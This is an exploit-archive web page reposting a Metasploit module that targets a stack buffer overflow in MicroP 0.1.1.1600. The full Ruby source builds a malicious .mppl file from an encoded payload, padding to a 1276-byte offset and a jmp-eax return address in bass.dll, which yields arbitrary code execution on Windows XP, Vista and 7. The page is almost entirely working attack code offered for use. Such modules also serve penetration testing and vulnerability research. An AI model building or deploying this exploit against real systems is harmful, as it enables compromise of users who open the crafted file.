首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow
来源:http://www.metasploit.com 作者:Fitts 发布时间:2011-07-07  

##
# $Id: microp_mppl.rb 13114 2011-07-07 06:29:37Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability found in MicroP 0.1.1.1600.  A stack-based
    buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
    which overwrites the lpFileName parameter of a CreateFileA() function, and results
    arbitrary code execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'James Fitts' ],
   'Version'        => '$Revision: 13114 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/14720' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 728,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3 / Vista / 7',
      {
       'Ret'    => 0x100145b5,  #jmp eax in bass.dll
       'Offset' => 1276,        #Offset to overwrite EIP
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 23 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.mppl']),
    ], self.class)
 end

 def exploit
  mppl  = payload.encoded
  mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
  mppl << [target.ret].pack('V')

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(mppl)
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Dlink DSL-2650U Dos/PoC
·CoolPlayer Portable 2.19.2 Buf
·Freefloat FTP Server Buffer Ov
·ManageEngine ServiceDesk <= 8.
·Daemon Tools Lite 4.40.2.0.013
·Avaya IP Office Manager TFTP S
·Golden FTP 4.70 PASS overflow
·ZipWiz 2005 v5.0 .ZIP File Buf
·Wordtrainer 3.0 .ORD File Buff
·phpMyAdmin3 (pma3) Remote Code
·SAP Player 0.9 Buffer Overflow
·ZipGenius v6.3.2.3000 .ZIP Fil
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved